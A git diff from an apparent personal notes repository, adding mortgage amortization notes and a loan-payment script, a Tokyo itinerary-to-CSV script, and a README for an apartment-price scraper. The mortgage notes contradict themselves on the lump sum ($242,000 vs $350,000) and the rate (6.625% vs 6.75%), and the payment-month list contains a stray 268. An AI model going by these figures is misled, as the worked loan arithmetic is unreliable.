yearly_interest_payment: --> $45,276.34 +9-108 yearly_interest_payment: --> $44,396.90 +10-120 yearly_interest_payment: --> $43,456.23 +11-132 yearly_interest_payment: --> $42,450.06 +12-144 yearly_interest_payment: --> $41,373.84 +13-156 yearly_interest_payment: --> $40,222.68 +14-168 yearly_interest_payment: --> $38,991.37 +15-180 yearly_interest_payment: --> $37,674.33 +16-192 yearly_interest_payment: --> $36,265.58 +17-204 yearly_interest_payment: --> $34,758.74 +18-216 yearly_interest_payment: --> $33,146.99 +19-228 yearly_interest_payment: --> $31,423.01 +20-240 yearly_interest_payment: --> $29,578.99 +21-252 yearly_interest_payment: --> $27,606.59 +22-264 yearly_interest_payment: --> $25,496.84 +23-276 yearly_interest_payment: --> $23,240.20 +24-288 yearly_interest_payment: --> $20,826.43 +25-300 yearly_interest_payment: --> $18,244.60 +26-312 yearly_interest_payment: --> $15,483.00 +27-324 yearly_interest_payment: --> $12,529.12 +28-336 yearly_interest_payment: --> $9,369.56 +29-348 yearly_interest_payment: --> $5,990.01 +30-360 yearly_interest_payment: --> $2,375.15 +total_interest_payment: $993,205.01 + +# Around the 252nd month, the Interest Payment becomes very close to the Principal Payment, but they are not exactly equal. This is because the principal payment continues to reduce the loan balance, and as the loan balance becomes smaller, the interest payment also decreases. +``` + + +If the individual pays off a lump sum of `$350,000` towards the loan at the end of the 2nd year, it will significantly impact the remaining balance and the subsequent monthly payments. + +Original loan details: +- Loan amount: $752,000 +- Interest rate: 6.625% +- Loan term: 30 years (360 months) +- Monthly payment: $4,811 +- Additional lump sum payment at the end of the 2nd year: $242,000 + +New starting balance after the lump sum payment: $752,000 - $350,000 = $402,000 + +Total Payment at the End of 2nd Year: +Total payments = Monthly payment x Number of months + Lump sum payment += $4,811 × 24 + $350,000 += $115,464 + $350,000 += $465,464 + +Remaining Balance after 2nd Year = Starting Balance - Lump Sum Payment += $752,000 - $350,000 += $402,000 + +Total Interest Paid at the End of 2nd Year: +To calculate the total interest paid, we can sum up the interest payments over the first 24 months. +Total interest = Interest payment (Month 1) + Interest payment (Month 2) + ... + Interest payment (Month 24) +≈ $4,940.42 + $4,938.15 + ... + $2,649.31 + + + +```java +// Here's the new table for the first few months after the lump sum payment: + + +// when rate is 6.75% + +yearly_additional_payment = 0 +// 1-12 yearly_interest_payment: --> 45,833.44, current_balance: --> 736070.8324747018 +// 2-24 yearly_interest_payment: --> 49,473.02, current_balance: --> 727589.5733758848 +// 3-36 yearly_interest_payment: --> 48,885.79, current_balance: --> 718517.7817064864 +// ... +// 29-348 yearly_interest_payment: --> 5,990.01, current_balance: --> 55843.87119852854 +// 30-360 yearly_interest_payment: --> 2,375.15, current_balance: --> -0.18761445945983724 +// total_interest_payment: $993,205.01 + +yearly_additional_payment = 1000 +// 1-12 yearly_interest_payment: --> 45,781.66, current_balance: --> 735013.137077492 +// total_interest_payment: $986,770.48 + +yearly_additional_payment = 2288 +// 1-12 yearly_interest_payment: --> 45,714.97, current_balance: --> 733650.8254058858 +// total_interest_payment: $978,572.29 + + +yearly_additional_payment = 30000 +years_for_additional_payment = [2] +// 1-12 yearly_interest_payment: --> 44,280.07, current_balance: --> 704339.9705584085 +// 2-24 yearly_interest_payment: --> 47,276.02, current_balance: --> 693649.357018715 +// 3-36 yearly_interest_payment: --> 46,535.82, current_balance: --> 682214.3781175661 +// ... +// 24-288 yearly_interest_payment: --> 11,167.05, current_balance: --> 135821.14521669917 +// 25-300 yearly_interest_payment: --> 7,912.65, current_balance: --> 85545.73896623445 +// 26-312 yearly_interest_payment: --> 4,431.66, current_balance: --> 31769.7599182405 +// total_interest_payment: $824,044.45 + + +yearly_additional_payment = 30000 +years_for_additional_payment = [12, 24, 36, 48, 60, 72, 84, 96, 108, 120, 132, 144, 156, 268, 180, 192, 204, 216] +// 1-12 yearly_interest_payment: --> 45,833.44, current_balance: --> 706070.8324747018 +// 2-24 yearly_interest_payment: --> 47,563.67, current_balance: --> 695500.7352787305 +// 3-36 yearly_interest_payment: --> 46,664.01, current_balance: --> 654194.6640256401 +// 4-48 yearly_interest_payment: --> 43,971.85, current_balance: --> 610012.5362633093 +// 5-60 yearly_interest_payment: --> 40,912.74, current_balance: --> 562754.0981115353 +// 6-72 yearly_interest_payment: --> 37,640.64, current_balance: --> 512205.1524256469 +// 7-84 yearly_interest_payment: --> 34,140.71, current_balance: --> 458136.58795576956 +// 8-96 yearly_interest_payment: --> 30,397.09, current_balance: --> 400303.340908455 +// 9-108 yearly_interest_payment: --> 26,392.80, current_balance: --> 338443.28420398844 +// 10-120 yearly_interest_payment: --> 22,109.70, current_balance: --> 272276.03939497477 +// 11-132 yearly_interest_payment: --> 17,528.39, current_balance: --> 201501.70586126775 +// 12-144 yearly_interest_payment: --> 12,628.08, current_balance: --> 125799.50152136381 +// 13-156 yearly_interest_payment: --> 7,386.57, current_balance: --> 44826.308899335054 +// total_interest_payment: $414,961.52 + + +yearly_additional_payment = 60000 +years_for_additional_payment = [12, 24, 36, 48, 60, 72, 84, 96, 108, 120, 132, 144, 156, 268, 180, 192, 204, 216] +// 1-12 yearly_interest_payment: --> 45,833.44, current_balance: --> 676070.8324747018 +// 2-24 yearly_interest_payment: --> 45,654.33, current_balance: --> 663411.8971815762 +// 3-36 yearly_interest_payment: --> 44,442.23, current_balance: --> 589871.5463447944 +// 4-48 yearly_interest_payment: --> 39,686.02, current_balance: --> 511210.7326244807 +// 5-60 yearly_interest_payment: --> 34,239.66, current_balance: --> 427072.9287557622 +// 6-72 yearly_interest_payment: --> 28,414.09, current_balance: --> 337076.7832159812 +// 7-84 yearly_interest_payment: --> 22,182.90, current_balance: --> 240814.39176284923 +// 8-96 yearly_interest_payment: --> 15,517.84, current_balance: --> 137849.44862336805 +// 9-108 yearly_interest_payment: --> 8,388.70, current_balance: --> 27715.268953851268 +// total_interest_payment: $285,415.25 + + +yearly_additional_payment = 90000 +years_for_additional_payment = [12, 24, 36, 48, 60, 72, 84, 96, 108, 120, 132, 144, 156, 268, 180, 192, 204, 216] +// 1-12 yearly_interest_payment: --> 45,833.44, current_balance: --> 646070.8324747018 +// 2-24 yearly_interest_payment: --> 43,744.98, current_balance: --> 631323.0590844222 +// 3-36 yearly_interest_payment: --> 42,220.45, current_balance: --> 525548.4286639488 +// 4-48 yearly_interest_payment: --> 35,400.19, current_balance: --> 412408.92898565216 +// 5-60 yearly_interest_payment: --> 27,566.58, current_balance: --> 291391.7593999891 +// 6-72 yearly_interest_payment: --> 19,187.54, current_balance: --> 161948.4140063157 +// 7-84 yearly_interest_payment: --> 10,225.08, current_balance: --> 23492.195569928983 +// total_interest_payment: $225,235.30 + + + + +// when rate is 4% + +yearly_additional_payment = 0 +// 1-12 yearly_interest_payment: --> 26,845.65, current_balance: --> 715331.3577520887 +// 2-24 yearly_interest_payment: --> 28,169.32, current_balance: --> 685494.7107855818 +// 3-36 yearly_interest_payment: --> 26,957.77, current_balance: --> 654442.4727861065 +// 4-48 yearly_interest_payment: --> 25,696.85, current_balance: --> 622125.11869942 +// 5-60 yearly_interest_payment: --> 24,384.57, current_balance: --> 588491.1057441569 +// 6-72 yearly_interest_payment: --> 23,018.82, current_balance: --> 553486.7912065123 +// 7-84 yearly_interest_payment: --> 21,597.43, current_balance: --> 517056.3468857544 +// 8-96 yearly_interest_payment: --> 20,118.13, current_balance: --> 479141.6700541151 +// 9-108 yearly_interest_payment: --> 18,578.56, current_balance: --> 439682.29078904976 +// 10-120 yearly_interest_payment: --> 16,976.26, current_balance: --> 398615.27553006867 +// 11-132 yearly_interest_payment: --> 15,308.69, current_balance: --> 355875.126706326 +// 12-144 yearly_interest_payment: --> 13,573.17, current_balance: --> 311393.67827488267 +// 13-156 yearly_interest_payment: --> 11,766.95, current_balance: --> 265099.9870030352 +// 14-168 yearly_interest_payment: --> 9,887.14, current_balance: --> 216920.2193213202 +// 15-180 yearly_interest_payment: --> 7,930.74, current_balance: --> 166777.5335667352 +// 16-192 yearly_interest_payment: --> 5,894.64, current_balance: --> 114591.9574283662 +// 17-204 yearly_interest_payment: --> 3,775.58, current_balance: --> 60280.26039996187 +// 18-216 yearly_interest_payment: --> 1,570.19, current_balance: --> 3755.821036028239 +// total_interest_payment: $302,091.46 + +yearly_additional_payment = 30000 +years_for_additional_payment = [2] +// 1-12 yearly_interest_payment: --> 25,933.56, current_balance: --> 684316.223637858 +// 2-24 yearly_interest_payment: --> 26,909.91, current_balance: --> 653215.9722536734 +// 3-36 yearly_interest_payment: --> 25,647.05, current_balance: --> 620848.6486429037 +// ... +// 16-192 yearly_interest_payment: --> 3,691.88, current_balance: --> 58135.05832712486 +// 17-204 yearly_interest_payment: --> 1,483.08, current_balance: --> 1523.2201208691176 +// total_interest_payment: $271,944.58 + + +yearly_additional_payment = 30000 +years_for_additional_payment = [12, 24, 36, 48, 60, 72, 84, 96, 108, 120, 132, 144, 156, 268, 180, 192, 204, 216] +// 1-12 yearly_interest_payment: --> 26,845.65, current_balance: --> 685331.3577520887 +// 2-24 yearly_interest_payment: --> 27,050.80, current_balance: --> 654272.4644979883 +// 3-36 yearly_interest_payment: --> 25,689.95, current_balance: --> 591948.1840113348 +// 4-48 yearly_interest_payment: --> 23,258.87, current_balance: --> 527084.7161762894 +// 5-60 yearly_interest_payment: --> 20,625.01, current_balance: --> 459578.610582516 +// 6-72 yearly_interest_payment: --> 17,883.84, current_balance: --> 389322.202090346 +// 7-84 yearly_interest_payment: --> 15,031.00, current_balance: --> 316203.4391162022 +// 8-96 yearly_interest_payment: --> 12,061.92, current_balance: --> 240105.70492210524 +// 9-108 yearly_interest_payment: --> 8,971.88, current_balance: --> 160907.63162424072 +// 10-120 yearly_interest_payment: --> 5,755.95, current_balance: --> 78482.90662394666 +// 11-132 yearly_interest_payment: --> 2,409.00, current_balance: --> -7299.928847598752 +// total_interest_payment: $185,675.31 + + +yearly_additional_payment = 60000 +years_for_additional_payment = [12, 24, 36, 48, 60, 72, 84, 96, 108, 120, 132, 144, 156, 268, 180, 192, 204, 216] +// 1-12 yearly_interest_payment: --> 26,845.65, current_balance: --> 655331.3577520887 +// 2-24 yearly_interest_payment: --> 25,932.28, current_balance: --> 623050.2182103945 +// 3-36 yearly_interest_payment: --> 24,422.13, current_balance: --> 529453.8952365629 +// 4-48 yearly_interest_payment: --> 20,820.88, current_balance: --> 432044.31365315843 +// 5-60 yearly_interest_payment: --> 16,865.45, current_balance: --> 330666.11542087485 +// 6-72 yearly_interest_payment: --> 12,748.86, current_balance: --> 225157.61297417968 +// 7-84 yearly_interest_payment: --> 8,464.57, current_balance: --> 115350.53134664983 +// 8-96 yearly_interest_payment: --> 4,005.72, current_balance: --> 1069.7397900951064 +// total_interest_payment: $140,328.03 +``` diff --git a/_posts/00CodeNote/project/home/run.py b/_posts/00CodeNote/project/home/run.py new file mode 100644 index 00000000000..66c759ee765 --- /dev/null +++ b/_posts/00CodeNote/project/home/run.py @@ -0,0 +1,106 @@ +# Loan details +purchase_price = 940000 +down_payment = 188000 +# loan_amount = 752000 +loan_amount = 744000 + +interest_rate = 0.0675 # 6.75% annual rate +# interest_rate = 0.0625 +# interest_rate = 0.04 + +loan_term_months = 360 +monthly_payment = 4825.57 + + +target_month = 24 +# additional_payment_at_target_month = 242000 +additional_payment_at_target_month = 0 + + +yearly_additional_payment = 0 +# yearly_additional_payment = 10000 +# yearly_additional_payment = 90000 +# yearly_additional_payment = 60000 +# yearly_additional_payment = 30000 + +months_for_additional_payment = [ + 12, + 24, + 36, + 48, + 60, + 72, + 84, + 96, + 108, + 120, + 132, + 144, + 156, + 268, + 180, + 192, + 204, + 216, +] + + +# Initialize balances +current_balance = loan_amount +remaining_months = loan_term_months + +yearly_interest_payment = 0 +total_interest_payment = 0 +year = 0 + +# Print header +print( + "| Month | Starting Balance | Monthly Payment | Interest Payment | Principal Payment | Additional Payment | Ending Balance |" +) +print( + "| ----- | ---------------- | --------------- | ---------------- | ----------------- | ------------------ | -------------- |" +) + +# Print each month's details +for month in range(1, loan_term_months + 1): + interest_payment = current_balance * interest_rate / 12 + principal_payment = monthly_payment - interest_payment + + # Apply additional payments at the specified months + if month == target_month: + current_balance -= additional_payment_at_target_month + elif month in months_for_additional_payment: + # print("hhhhh") + # print(current_balance - yearly_additional_payment) + # print(current_balance) + # print(yearly_additional_payment) + current_balance -= yearly_additional_payment + + ending_balance = current_balance - principal_payment + + # Print the row for this month + print( + f"| {month:5d} | ${current_balance:,.2f} | ${monthly_payment:,.2f} | ${interest_payment:,.2f} | ${principal_payment:,.2f} | ${additional_payment_at_target_month if month == 24 else yearly_additional_payment if month in months_for_additional_payment else 0:,.2f} | ${ending_balance:,.2f} |" + ) + + current_balance = ending_balance + + if month % 12 == 0: + year += 1 + print( + f"{year}-{month} yearly_interest_payment: --> {yearly_interest_payment:,.2f}, current_balance: --> {current_balance}" + ) + yearly_interest_payment = 0 + # if month in [13, 25, 37, 49, 61, 73, 85]: + # print(f"yearly_interest_payment: ${month} --> ${yearly_interest_payment:,.2f}") + # yearly_interest_payment = 0 + + yearly_interest_payment += interest_payment + + total_interest_payment += interest_payment + + if ending_balance < 0: + break + +# Print footer +print(f"total_interest_payment: ${total_interest_payment:,.2f}") diff --git a/_posts/00CodeNote/project/trip/run.py b/_posts/00CodeNote/project/trip/run.py new file mode 100644 index 00000000000..5e285c6d678 --- /dev/null +++ b/_posts/00CodeNote/project/trip/run.py @@ -0,0 +1,232 @@ +import csv +from datetime import datetime, timedelta + + +# Function to create an event +def create_event(name, location, start_date, duration_hours=3): + return { + "Subject": name, + "Location": location, + "Start Date": start_date.strftime("%m/%d/%Y"), + "Start Time": start_date.strftime("%I:%M %p"), + "End Date": (start_date + timedelta(hours=duration_hours)).strftime("%m/%d/%Y"), + "End Time": (start_date + timedelta(hours=duration_hours)).strftime("%I:%M %p"), + } + + +# Define the start date of the trip +trip_start = datetime(2024, 11, 8) + +# List to hold all events +events = [] + +# Day 1: Shibuya +events.append( + create_event( + "Shibuya Crossing", + "Shibuya City, Tokyo 150-8010, Japan", + trip_start + timedelta(hours=15), + ) +) +events.append( + create_event( + "Shibuya Scramble Square", + "2 Chome-24-12 Shibuya, Shibuya City, Tokyo 150-0002, Japan", + trip_start + timedelta(hours=17), + ) +) +events.append( + create_event( + "Hachiko Statue", + "2 Chome-1 Dogenzaka, Shibuya City, Tokyo 150-0043, Japan", + trip_start + timedelta(hours=20), + ) +) + +# Day 2: Asakusa and Sumida +events.append( + create_event( + "Senso-ji Temple", + "2 Chome-3-1 Asakusa, Taito City, Tokyo 111-0032, Japan", + trip_start + timedelta(days=1, hours=9), + ) +) +events.append( + create_event( + "Sumida Park", + "1 Chome Mukojima, Sumida City, Tokyo 131-0033, Japan", + trip_start + timedelta(days=1, hours=12), + ) +) +events.append( + create_event( + "Tokyo Skytree", + "1 Chome-1-2 Oshiage, Sumida City, Tokyo 131-0045, Japan", + trip_start + timedelta(days=1, hours=15), + ) +) + +# Day 3: Harajuku and Shinjuku +events.append( + create_event( + "Meiji Shrine", + "1-1 Yoyogikamizonocho, Shibuya City, Tokyo 151-8557, Japan", + trip_start + timedelta(days=2, hours=9), + ) +) +events.append( + create_event( + "Takeshita Street", + "1 Chome-17 Jingumae, Shibuya City, Tokyo 150-0001, Japan", + trip_start + timedelta(days=2, hours=12), + ) +) +events.append( + create_event( + "Omotesando Avenue", + "Jingumae, Shibuya City, Tokyo 150-0001, Japan", + trip_start + timedelta(days=2, hours=14), + ) +) +events.append( + create_event( + "Shinjuku Gyoen National Garden", + "11 Naitomachi, Shinjuku City, Tokyo 160-0014, Japan", + trip_start + timedelta(days=2, hours=16), + ) +) +events.append( + create_event( + "Omoide Yokocho", + "1 Chome-2 Nishishinjuku, Shinjuku City, Tokyo 160-0023, Japan", + trip_start + timedelta(days=2, hours=19), + ) +) + +# Day 4: Nikko Day Trip +events.append( + create_event( + "Toshogu Shrine", + "2301 Sannai, Nikko, Tochigi 321-1431, Japan", + trip_start + timedelta(days=3, hours=9), + duration_hours=10, + ) +) + +# Day 5: Tsukiji and Ginza +events.append( + create_event( + "Tsukiji Outer Market", + "4 Chome-16-2 Tsukiji, Chuo City, Tokyo 104-0045, Japan", + trip_start + timedelta(days=4, hours=9), + ) +) +events.append( + create_event( + "Hamarikyu Gardens", + "1-1 Hamarikyuteien, Chuo City, Tokyo 104-0046, Japan", + trip_start + timedelta(days=4, hours=12), + ) +) +events.append( + create_event( + "Ginza", + "Ginza, Chuo City, Tokyo 104-0061, Japan", + trip_start + timedelta(days=4, hours=15), + ) +) + +# Day 6: Odaiba and Roppongi +events.append( + create_event( + "TeamLab Borderless", + "1 Chome-3-8 Aomi, Koto City, Tokyo 135-0064, Japan", + trip_start + timedelta(days=5, hours=9), + ) +) +events.append( + create_event( + "DiverCity Tokyo Plaza", + "1 Chome-1-10 Aomi, Koto City, Tokyo 135-0064, Japan", + trip_start + timedelta(days=5, hours=12), + ) +) +events.append( + create_event( + "Odaiba Marine Park", + "1 Chome-4 Daiba, Minato City, Tokyo 135-0091, Japan", + trip_start + timedelta(days=5, hours=15), + ) +) +events.append( + create_event( + "Roppongi Hills", + "6 Chome-10-1 Roppongi, Minato City, Tokyo 106-6108, Japan", + trip_start + timedelta(days=5, hours=18), + ) +) + +# Day 7: Akihabara and Ueno +events.append( + create_event( + "Akihabara", + "Sotokanda, Chiyoda City, Tokyo 101-0021, Japan", + trip_start + timedelta(days=6, hours=9), + ) +) +events.append( + create_event( + "Ameya-Yokocho", + "4 Chome-7-8 Ueno, Taito City, Tokyo 110-0005, Japan", + trip_start + timedelta(days=6, hours=12), + ) +) +events.append( + create_event( + "Ueno Park", + "Uenokoen, Taito City, Tokyo 110-0007, Japan", + trip_start + timedelta(days=6, hours=15), + ) +) +events.append( + create_event( + "Tokyo National Museum", + "13-9 Uenokoen, Taito City, Tokyo 110-8712, Japan", + trip_start + timedelta(days=6, hours=18), + ) +) + +# Day 8: Final Day in Tokyo +events.append( + create_event( + "Shopping in Shibuya or Harajuku", + "Shibuya or Harajuku, Tokyo, Japan", + trip_start + timedelta(days=7, hours=9), + ) +) +events.append( + create_event( + "Relaxing Onsen Experience", + "Odaiba, Tokyo, Japan", + trip_start + timedelta(days=7, hours=14), + ) +) + +# Write the events to a CSV file +with open("tokyo_trip.csv", mode="w", newline="") as file: + writer = csv.DictWriter( + file, + fieldnames=[ + "Subject", + "Location", + "Start Date", + "Start Time", + "End Date", + "End Time", + ], + ) + writer.writeheader() + for event in events: + writer.writerow(event) + +print("CSV file 'tokyo_trip.csv' created successfully!") diff --git a/_posts/00CodeNote/project/webscrap_apt/.DS_Store b/_posts/00CodeNote/project/webscrap_apt/.DS_Store new file mode 100644 index 00000000000..e9db4b1cf59 Binary files /dev/null and b/_posts/00CodeNote/project/webscrap_apt/.DS_Store differ diff --git a/_posts/00CodeNote/project/webscrap_apt/APT-modera.png b/_posts/00CodeNote/project/webscrap_apt/APT-modera.png new file mode 100644 index 00000000000..4599e5f54dd Binary files /dev/null and b/_posts/00CodeNote/project/webscrap_apt/APT-modera.png differ diff --git a/_posts/00CodeNote/project/webscrap_apt/APT-talisman.png b/_posts/00CodeNote/project/webscrap_apt/APT-talisman.png new file mode 100644 index 00000000000..43a8d5916f1 Binary files /dev/null and b/_posts/00CodeNote/project/webscrap_apt/APT-talisman.png differ diff --git a/_posts/00CodeNote/project/webscrap_apt/README.md b/_posts/00CodeNote/project/webscrap_apt/README.md new file mode 100644 index 00000000000..ceddb6a64aa --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/README.md @@ -0,0 +1,104 @@ + +- [webscrap\_apt](#webscrap_apt) + - [output](#output) + - [Usage](#usage) + - [play](#play) + - [img\_play](#img_play) + +--- + +# webscrap_apt + +--- + + +## output + +![APT-modera.png](https://github.com/ocholuo/ocholuo.github.io/blob/master/_posts/00CodeNote/project/webscrap_apt/APT-modera.png) + +![APT-talisman.png](https://github.com/ocholuo/ocholuo.github.io/blob/master/_posts/00CodeNote/project/webscrap_apt/APT-talisman.png) + +--- + +## Usage +- Run `python ./_posts/00CodeNote/project/webscrap_apt/play.py -t all` +- generate csv `apt_YYYYMMDD.csv` in `./apt_output` +- update `APT-xx.png` + + +### play + +Run for all apt and get csv. + +```bash +$ python ./_posts/00CodeNote/project/webscrap_apt/play.py -t all +# INFO:__main__:======= Apt_scrapper loaded at Tue Mar 14 23:20:51 2023 +# INFO:__main__:============ Apt_scrapper run for url: {'talisman': 'https://www.livetalisman.com/redmond/talisman/conventional/', 'modera': 'https://www.moderaredmond.com/redmond/modera-redmond/conventional/'} ============ + +# INFO:__main__:======= Target Apartment: talisman ======= +# INFO:__main__:======= Load info from https://www.livetalisman.com/redmond/talisman/conventional/ ======= +# INFO:__main__:======= Got info for Apartment: talisman ======= + +# INFO:__main__:======= Target Apartment: modera ======= +# INFO:__main__:======= Load info from https://www.moderaredmond.com/redmond/modera-redmond/conventional/ ======= +# INFO:__main__:🟢:S01;Beds/Baths;Studio / 1 ba;Rent;Starting from $1,812/month;Deposit;$300;Sq.Ft;477+;Only One Left!;Details +# INFO:__main__:🟢:S01L;Beds/Baths;Studio / 1 ba;Rent;Starting from $2,715/month;Deposit;$300;Sq.Ft;641+;Available Apr 10, 2023;Details +# INFO:__main__:🟢:A03;Beds/Baths;1 bd/1 ba;Rent;Starting from $2,071/month;Deposit;$300;Sq.Ft;553+;Only One Left!;Details +# INFO:__main__:🟢:A05;Beds/Baths;1 bd/1 ba;Rent;Starting from $2,025/month;Deposit;$300;Sq.Ft;596;Available Apr 02, 2023;Details +# INFO:__main__:🟢:A05L;Beds/Baths;1 bd/1 ba;Rent;Starting from $2,432/month;Deposit;$300;Sq.Ft;735;Available Apr 05, 2023;Details +# INFO:__main__:🟢:A06;Beds/Baths;1 bd/1 ba;Rent;Starting from $2,174/month;Deposit;$300;Sq.Ft;606;Only One Left!;Details +# INFO:__main__:🟢:A07;Beds/Baths;1 bd/1 ba;Rent;Starting from $2,462/month;Deposit;$300;Sq.Ft;634+;Available Mar 22, 2023;Details +# INFO:__main__:🟢:A09;Beds/Baths;1 bd/1 ba;Rent;Starting from $2,195/month;Deposit;$300;Sq.Ft;640;2 Available;Details +# INFO:__main__:🟢:A10;Beds/Baths;1 bd/1 ba;Rent;Starting from $2,383/month;Deposit;$300;Sq.Ft;672+;2 Available;Details +# INFO:__main__:🟢:A12;Beds/Baths;1 bd/1 ba;Rent;Starting from $2,706/month;Deposit;$300;Sq.Ft;751+;Available Mar 18, 2023;Details +# INFO:__main__:🟢:A14D;Beds/Baths;1 bd/1 ba;Rent;Starting from $2,421/month;Deposit;$300;Sq.Ft;777+;Only One Left!;Details +# INFO:__main__:🟢:A16D;Beds/Baths;1 bd/1 ba;Rent;Starting from $2,882/month;Deposit;$300;Sq.Ft;882;Available Mar 22, 2023;Details +# INFO:__main__:🟢:B01;Beds/Baths;2 bd/2 ba;Rent;Starting from $3,561/month;Deposit;$300;Sq.Ft;961;Only One Left!;Details +# INFO:__main__:🟢:B03;Beds/Baths;2 bd/2 ba;Rent;Starting from $3,592/month;Deposit;$300;Sq.Ft;1,039+;Only One Left!;Details +# INFO:__main__:🟢:B07D;Beds/Baths;2 bd/2 ba;Rent;Starting from $3,645/month;Deposit;$300;Sq.Ft;1,233;Only One Left!;Details +# INFO:__main__:🟢:S01L;Beds/Baths;Studio / 1 ba;Rent;Starting from $2,715/month;Deposit;$300;Sq.Ft;641+;Available Apr 10, 2023;Details +# INFO:__main__:🟢:A05L;Beds/Baths;1 bd/1 ba;Rent;Starting from $2,432/month;Deposit;$300;Sq.Ft;735;Available Apr 05, 2023;Details +# INFO:__main__:======= Got info for Apartment: modera ======= + +# INFO:__main__: +# ======= creating file: apt_20230314.csv ======= +# INFO:__main__:======= filing file: apt_20230314.csv ======= +# INFO:__main__:{'Apt': 'modera', 'Floor_plan': 'S01', 'Beds/Baths': 'Studio\xa0/ 1 ba', 'Rent': 'Starting from $1,812/month', 'Deposit': '$300', 'Sq.Ft': '477+', 'Limited_Time_Offer': '/', 'Available': 'Only One Left!'} +# INFO:__main__:{'Apt': 'modera', 'Floor_plan': 'S01L', 'Beds/Baths': 'Studio\xa0/ 1 ba', 'Rent': 'Starting from $2,715/month', 'Deposit': '$300', 'Sq.Ft': '641+', 'Limited_Time_Offer': '/', 'Available': 'Available Apr 10, 2023'} +# INFO:__main__:{'Apt': 'modera', 'Floor_plan': 'A03', 'Beds/Baths': '1 bd/1 ba', 'Rent': 'Starting from $2,071/month', 'Deposit': '$300', 'Sq.Ft': '553+', 'Limited_Time_Offer': '/', 'Available': 'Only One Left!'} +# INFO:__main__:{'Apt': 'modera', 'Floor_plan': 'A05', 'Beds/Baths': '1 bd/1 ba', 'Rent': 'Starting from $2,025/month', 'Deposit': '$300', 'Sq.Ft': '596', 'Limited_Time_Offer': '/', 'Available': 'Available Apr 02, 2023'} +# INFO:__main__:{'Apt': 'modera', 'Floor_plan': 'A05L', 'Beds/Baths': '1 bd/1 ba', 'Rent': 'Starting from $2,432/month', 'Deposit': '$300', 'Sq.Ft': '735', 'Limited_Time_Offer': '/', 'Available': 'Available Apr 05, 2023'} +# INFO:__main__:{'Apt': 'modera', 'Floor_plan': 'A06', 'Beds/Baths': '1 bd/1 ba', 'Rent': 'Starting from $2,174/month', 'Deposit': '$300', 'Sq.Ft': '606', 'Limited_Time_Offer': '/', 'Available': 'Only One Left!'} +# INFO:__main__:{'Apt': 'modera', 'Floor_plan': 'A07', 'Beds/Baths': '1 bd/1 ba', 'Rent': 'Starting from $2,462/month', 'Deposit': '$300', 'Sq.Ft': '634+', 'Limited_Time_Offer': '/', 'Available': 'Available Mar 22, 2023'} +# INFO:__main__:{'Apt': 'modera', 'Floor_plan': 'A09', 'Beds/Baths': '1 bd/1 ba', 'Rent': 'Starting from $2,195/month', 'Deposit': '$300', 'Sq.Ft': '640', 'Limited_Time_Offer': '/', 'Available': '2 Available'} +# INFO:__main__:{'Apt': 'modera', 'Floor_plan': 'A10', 'Beds/Baths': '1 bd/1 ba', 'Rent': 'Starting from $2,383/month', 'Deposit': '$300', 'Sq.Ft': '672+', 'Limited_Time_Offer': '/', 'Available': '2 Available'} +# INFO:__main__:{'Apt': 'modera', 'Floor_plan': 'A12', 'Beds/Baths': '1 bd/1 ba', 'Rent': 'Starting from $2,706/month', 'Deposit': '$300', 'Sq.Ft': '751+', 'Limited_Time_Offer': '/', 'Available': 'Available Mar 18, 2023'} +# INFO:__main__:{'Apt': 'modera', 'Floor_plan': 'A14D', 'Beds/Baths': '1 bd/1 ba', 'Rent': 'Starting from $2,421/month', 'Deposit': '$300', 'Sq.Ft': '777+', 'Limited_Time_Offer': '/', 'Available': 'Only One Left!'} +# INFO:__main__:{'Apt': 'modera', 'Floor_plan': 'A16D', 'Beds/Baths': '1 bd/1 ba', 'Rent': 'Starting from $2,882/month', 'Deposit': '$300', 'Sq.Ft': '882', 'Limited_Time_Offer': '/', 'Available': 'Available Mar 22, 2023'} +# INFO:__main__:{'Apt': 'modera', 'Floor_plan': 'B01', 'Beds/Baths': '2 bd/2 ba', 'Rent': 'Starting from $3,561/month', 'Deposit': '$300', 'Sq.Ft': '961', 'Limited_Time_Offer': '/', 'Available': 'Only One Left!'} +# INFO:__main__:{'Apt': 'modera', 'Floor_plan': 'B03', 'Beds/Baths': '2 bd/2 ba', 'Rent': 'Starting from $3,592/month', 'Deposit': '$300', 'Sq.Ft': '1,039+', 'Limited_Time_Offer': '/', 'Available': 'Only One Left!'} +# INFO:__main__:{'Apt': 'modera', 'Floor_plan': 'B07D', 'Beds/Baths': '2 bd/2 ba', 'Rent': 'Starting from $3,645/month', 'Deposit': '$300', 'Sq.Ft': '1,233', 'Limited_Time_Offer': '/', 'Available': 'Only One Left!'} +# INFO:__main__:{'Apt': 'modera', 'Floor_plan': 'S01L', 'Beds/Baths': 'Studio\xa0/ 1 ba', 'Rent': 'Starting from $2,715/month', 'Deposit': '$300', 'Sq.Ft': '641+', 'Limited_Time_Offer': '/', 'Available': 'Available Apr 10, 2023'} +# INFO:__main__:{'Apt': 'modera', 'Floor_plan': 'A05L', 'Beds/Baths': '1 bd/1 ba', 'Rent': 'Starting from $2,432/month', 'Deposit': '$300', 'Sq.Ft': '735', 'Limited_Time_Offer': '/', 'Available': 'Available Apr 05, 2023'} +# INFO:__main__:======= info loaded in the file apt_20230314.csv ======= +``` + +### img_play + +Run for all csv and get img + +```bash +$ python ./_posts/00CodeNote/project/webscrap_apt/img_play.py +# INFO:__main__:Add file: ./_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230108.csv +# INFO:__main__:Add file: ./_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230322.csv +# ... +# INFO:__main__:======= Collected data in csv_files: ['./_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230108.csv', './_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230322.csv', './_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230109.csv', './_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230321.csv', './_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230320.csv', './_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230324.csv', './_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230330.csv', './_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230318.csv', './_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230319.csv', './_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230331.csv', './_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230325.csv', './_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230327.csv', './_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230326.csv', 